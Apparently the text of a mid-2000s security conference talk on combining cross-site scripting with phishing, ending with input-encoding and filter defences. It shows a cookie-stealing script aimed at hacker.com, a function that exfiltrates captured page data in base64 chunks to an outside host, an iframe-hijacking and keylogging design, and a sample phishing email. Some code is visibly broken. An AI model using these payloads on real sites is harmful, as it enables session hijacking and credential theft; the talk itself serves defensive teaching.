Phishing with Super Bait

Jeremiah Grossman
WhiteHat Security
Founder and Chief Technology Officer
Who am I?

Day Job:
Technology R&D and industry evangelist
Frequent Black Hat and industry speaker
Author of several web security articles/white papers

Night Job:
Founder of the Web Application Security Consortium (WASC)
www.webappsec.org

Past Job:
Yahoo Information Security Officer
WhiteHat Security
Real-World Solutions for Web Application Security

WhiteHat Security is a leading provider of web application security services. WhiteHat delivers comprehensive, easy-to-use, cost-effective solutions that enable companies to secure valuable customer data, meet compliance standards, and maintain brand integrity.
Discussion Topics

Current Web Security Models
Phishing and Cross-Site Scripting (XSS)
XSS-Phishing Hybrid Attacks
Next Generation XSS Attacks
Best-Practices
Current Web Security Models

- Secure Sockets Layer (SSL)
- Web Browser Security
- Two-Factor Authentication
Secure Sockets Layer (SSL)

Encrypts data between the client and server while in transit. Verify the identity of the server and/or the client. (Anyone actually look at the certificates?)

SSL does NOT make a website secure!
Browser Security: Same-Origin Policy

“The same origin policy prevents documents or scripts loaded from one origin from getting or setting properties of a document from a different origin.”


http://domain1.com/index.html

```html
<html><body>
<iframe id="iframe1" src="http://domain1.com"></iframe>
<iframe id="iframe2" src="http://domain1.com"></iframe>

<script>
var iframe1 = document.getElementById("iframe1");
var iframe2 = document.getElementById("iframe2");

var x1 = iframe1.contentWindow.document.body.innerHTML;
var x2 = iframe2.contentWindow.document.body.innerHTML;
</script>
</body></html>
```

Standard permission denied error message

OK

Deny
Two-Factor Authentication

Online Banks, AOL, and others will begin rolling out this type of solution. More organizations will follow this trend. Compromising passwords and/or accounts is more difficult when using two-factor authentication. Tokens protect against several types of attacks, including forms of phishing and spyware, but they are not a cure all.

Bruce Schneier Blog
The Failure of Two-Factor Authentication

“Two-factor authentication isn't our savior. It won't defend against phishing. It's not going to prevent identity theft. It's not going to secure online accounts from fraudulent transactions. It solves the security problems we had ten years ago, not the security problems we have today.”

The Phishing Scam
High-Tech version of the age-old confidence scam

“Phishing attacks use both social engineering and technical subterfuge to steal consumers' personal identity data and financial account credentials. Social engineering schemes use 'spoofed' e-mails to lead consumers to counterfeit websites designed to trick recipients into divulging financial data such as credit card numbers, account usernames, passwords and social security numbers. Hijacking brand names of banks, e-retailers and credit card companies, phishers often convince recipients to respond.”

Anti-Phishing Working Group
The Common Approach

Attacker contacts a user with a forged email message

From: support@ebay.com
Subject: Security Alert

Valued eBay Member,

According to our site policy you will have to confirm that you are the real owner of the eBay account by completing the following form or else your account will be suspended within 24 hours for investigations.

Never share your eBay password to anyone!

Establish your proof of identity with ID Verify (free of charge) - an easy way to help others trust you as their trading partner. The process takes about 5 minutes to complete and involves updating your eBay information. When you're successfully verified, you will receive an ID Verify icon in your feedback profile.

Click Here!

Real Website

User fills out the form on the fake website

PROFIT!
Other Methods of Communication

- Email
- Instant Messages
- Message Boards
- Guestbooks
- Blog Comments
- Viruses, Trojan Horses, Spyware etc.
Phishing Activity Trends Report

January 2005
The Anti-Phishing Working Group (APWG)
http://www.antiphishing.org/

Number of active phishing sites reported: **2560**
Average monthly growth rate in phishing sites Jul-Jan: **28%**
Number of brands hijacked by phishing in January: **64**
Average time online for site: **5.8** (days)
Longest time online for site: **31** days
Cross-Site Scripting (XSS)

Targets the user, not the website

Javascript is what makes XSS really bad (very powerful language)

Most commonly found web vulnerability

Impact generally underestimated or misunderstood

OWASP TOP-10 (A4)
http://www.owasp.org/documentation/topten/a4.html

Web Security Threat Classification
http://www.webappsec.org/threat.html

The Cross-Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml

CERT Malicious HTML Tags
http://www.cert.org/advisories/CA-2000-02.html

Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html
JavaScript has complete access to the DOM and is capable of doing just about anything. But what is anything?

Possible To:
- Alter the content of news articles
- Change the ACTION attribute of HTML Forms
- etc, etc, etc.

*Very hard for user to detect*
**Type 1 (Direct Echo)**

Most common variety of XSS

Requires the victim to click a link to be exploited

When the victim clicks and the JavaScript code executes, it does so in the context of the victim domain.

Attacker sends user an email containing a specially crafted link. The link has a hostname of the victim website domain, looking legitimate, and laced with embedded JavaScript code. When the user clicks the link...

http://victim.com/foo.cgi?q=\html\_javascript\_exploit\_code>

---

Cookies are sent off-domain using an image object request.

Attacker retrieves the cookies from the web server logs where they can be used to hijack the users session

http://hacker.com/
Type 2 (HTML Injection)

Most dangerous variety of XSS
- Does not require a user click, just visit a web page
- Commonly found in HTML E-Mail, Message Boards, and Blog posts

User clicks to view an email message sent by an Attacker. The email message contains JavaScript exploit code. When the user loads the page...

`http://victim.com/foo.cgi?q=\<html\javascript\exploit\code>`

Attacker retrieves the cookies from the web server logs where they can be used to hi-jack the users session

`http://hacker.com/`

Injected code loads and executes on the page

```html
<SCRIPT>
var img = new Image();
img.src = 'http://hacker.com/' + document.cookie;
</SCRIPT>
</BODY></HTML>
```

*Same attack, but requirements are less*
XSS Can Be Used To...

- Steal cookies and hijack sessions
- Execute unintended website functionality
- Harass users with malicious code
- Alter any portion of the web page
- Deface or DoS the website
- Violate the same-origin policy
- Aid in Phishing scams...
XSS-Phishing Hybrid Attack
The genie is out of the bottle

- Google Plugs Cookie-Theft Data Leak
  http://www.eweek.com/article2/0,1759,1751689,00.asp

- Redirect Becomes Phishing Tool
  http://www.betanews.com/article/eBay_Redirect_Becomes_Phishing_Tool/1109886753

- A phishing wolf in sheep's clothing

- Online Banking Industry Very Vulnerable to Cross-Site Scripting Frauds
  http://news.netcraft.com/archives/2005/03/11/online_banking_industry_very_vulnerable_to_crosssite_scripting_frauds.html

- Here's one more trick up hackers' sleeves
  http://reviews.cnet.com/4520-3513_7-5021212.html
Hybrid Variants

Leveraging the target domain to convince the victim of legitimacy

Attack Types:
- XSS
- Redirect
- Disguise
- XSS Page Re-writing
XSS Redirect Disguise
Phishing Activity Trends Report - January 2005

Cross-Site Scripting / Redirects
“During the month of January, Websense Security saw a number of attacks using cross-site scripting to redirect URL’s from popular web sites in order to better present themselves and as a means to prevent blocking. An example of this is an attack that was discovered utilized the Lycos search engine. By crafting a URL, the hacker can redirect any end user though Lycos directory to their fraudulent page. An example is below:

http://r.lycos.com/r/BJTWQSAUE/http://www.websensesecuritylabs.com

This link will automatically send the end user to Lycos, which in turn redirects the to the www.websensesecuritylabs.com web site. We suspect that this type of attacks may be one of the reasons why the number of sites that have no hostname is down from 63% in December ‘04 to 53% in January ‘05.”
XSS Redirect Disguise

Attacker sends user an email containing a specially crafted link. The link has a hostname of the victim website domain, to appear legitimate, and has an embedded redirect URL. When a user clicks the link, the browser is re-directed to the injected URL.


Fake Website URL doesn’t look right, but is the user looking?

http://hacker.com/

Simple. Effective.
XSS Page-Rewriting

This is a highly convincing and dangerous issue
- We should be seeing more of this attack in the near future
- Leverages XSS Type 1 (Direct Echo)

JavaScript can alter just about any aspect of a web page. It’s possible to change the location of where a HTML Form POSTS to, while the URL remains looking legitimate.

http://victim.com/webapp.cgi?url=\(<html/javascript\_exploit\_code>\)...
Next Generation XSS Attacks
Moving beyond simple garden variety XSS exploits to explore what is truly possible

Several concepts based on...

XSS-Proxy
“An advanced Cross-Site-Scripting (XSS) attack tool”
Developer: Anton Ranger
http://xss-proxy.sourceforge.net/
Current XSS Limitations

- Victim-Attacker connection is not persistent.

Once the user clicks, the attacker loses control.

- Off-Domain data transfer mechanism is only one-way
  *Victim to Attacker*
Goals of XSS Exploitation

- Persistent remote communication with the browser, even if the user clicks around on the website
- Complete control over the web browser and environment
- Monitor several XSS’ed clients simultaneously
- As invisible as possible
- Circumvent all previously described security models
XSS Remote Control

User is cross-site scripted and third-party JavaScript exploit code performs the following...

Empties the contents of the current window.

Creates a full screen IFRAME with the SRC attribute equal to the URL of the current page. To the user, nothing has been visibly affected and they continuously click within the IFRAME.

Whenever a link is clicked, the web page contents are sent to an off-domain server.

Keystroke recording is enabled capturing any text entered into HTML form fields. Including usernames and passwords.

Send polling requests to the off-domain server and wait for any new JavaScript commands.
Monitoring the Viewport

An IFRAME is an HTML tag used to include one web page within another. The IFRAME is created to be displayed full-screen, making any clicks occurring within its borders. Since the exploit code is loaded from the same domain as the IFRAME, it has full access to the DOM.

```javascript
function makeViewport() {
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src", location.href);
    iframe.setAttribute("id", "monitor");
    iframe.setAttribute("scrolling", "no");
    iframe.setAttribute("frameBorder", "0");
    iframe.setAttribute("onLoad", "readViewport()");
    iframe.setAttribute("onUnload", "");
    iframe.style.left = '0px';
    iframe.style.top = '0px';
    iframe.style.width = (window.innerWidth - 20);
    iframe.style.height = '2000px';
    iframe.style.position = 'absolute';
    iframe.style.visibility = 'visible';
    iframe.style.zIndex = '100000';
    document.body.innerHTML = ";
    document.body.appendChild(iframe);
}
```
Data Capturing

Saving the data

JavaScript saves data from the DOM including HTML, cookies, User-Agent, and keystrokes.
Transferring large amounts of data while bypassing the same-origin policy

- Split the data into blocks. 2,000 bytes is a large enough without exceeding browser URL length limits. Base64 encode the blocks before transit. Encoding ensures the data is not altered by the browser. Data block are transferred individually with multiple off-domain GET requests using JavaScript image objects.

```javascript
function sendDataOffDomain(transfer_data) {
  var block_size = 2000;
  var total_blocks = Math.round(transfer_data.length / block_size);

  if (transfer_data.length > block_size) {
    total_blocks++;
  }

  var start_byte = (start_byte + block_size) - 1;

  for (var block = 0; block < total_blocks; ++block) {
    var data_block = base64(transfer_data.substring(start_byte, end_byte));
    var img = new Image();
    img.src = 'http://blocker.com/?block=' + block + '=' + total_blocks + '=' + data_block;
    start_byte = end_byte + 1;
    end_byte = (start_byte + block_size) - 1;
  }
}
```
Bi-Directional Communication

Send JavaScript command from the remote server to the client

In a continuous loop, a new “script” tag object is created with the src attribute URL of a remote location. When the remote JavaScript file is updated, its executes within the clients browser.

JavaScript violates the same origin policy by accessing data outside the originating domain.
Success!

- All security models previously mentioned have been circumvented. With complete control over the user’s web browser you can...

- Use the doorway to automatically XSS other websites invisibly

- Force the user to “hack” the website - download illegal content

- Change the URL they are visiting

- Anything.
The answer is to not be vulnerable to XSS.

The best way is to validate your input (query data, post data, cookies, etc). Developers, do not trust the client and do not use what you don’t use expect to receive. If at all possible, do not echo user supplied data to the screen.

<table>
<thead>
<tr>
<th>Character</th>
<th>Equivalent HTML Entity</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td><code>&lt;</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td><code>&gt;</code></td>
</tr>
<tr>
<td><code>&quot;</code></td>
<td><code>&quot;</code></td>
</tr>
<tr>
<td><code>'</code></td>
<td><code>'</code></td>
</tr>
<tr>
<td><code>(</code></td>
<td><code>(</code></td>
</tr>
<tr>
<td><code>)</code></td>
<td><code>)</code></td>
</tr>
<tr>
<td><code>:</code></td>
<td><code>:</code></td>
</tr>
<tr>
<td>\n</td>
<td></td>
</tr>
</tbody>
</table>

At the time when untrusted data is used (i.e. printing to screen) substitute the following characters with the equivalent HTML entities. This process renders echoed HTML laced data as unexecutable by the web browser.
Perl
$data =~ s/(>|\"|\'|\(|\)|:)/'&#'.ord($1).';'/sge;
or
$data =~ s/([^\w])/'&#'.ord($1).';'/sge;

PHP
<?php
$new = htmlspecialchars("<a href='url'>XSS</a>", ENT_QUOTES);
echo $new;
// &lt;a href=&#039;url&#039;&gt;XSS&lt;/a&gt;
Apache - Mod_Security
http://www.modsecurity.org/

<IfModule mod_security.c>
# Turn the filtering engine On or Off
SecFilterEngine On

# Make sure that URL encoding is valid
SecFilterCheckURLEncoding On

# Prevent XSS attacks # (HTML/JavaScript injection)
SecFilter "<(.In)+>"
</IfModule>
Application platform security

Microsoft IIS 6.0

Default .NET configuration is configured to prevent XSS

IIS Lockdown


URL Scan


(May not be helpful if using IIS 6.0)

SecureIIS

Frame-Busting code

Add the following JavaScript code to your web pages. This code prevents other web pages from including your web pages within HTML frames. Prevents client-side HTML sniffing.

```html
<SCRIPT language="javascript">
if (top !== self) top.location.href = location.href;
</SCRIPT>
```
THANK YOU

http://www.whitehatsec.com
jeremiah@whitehatsec.com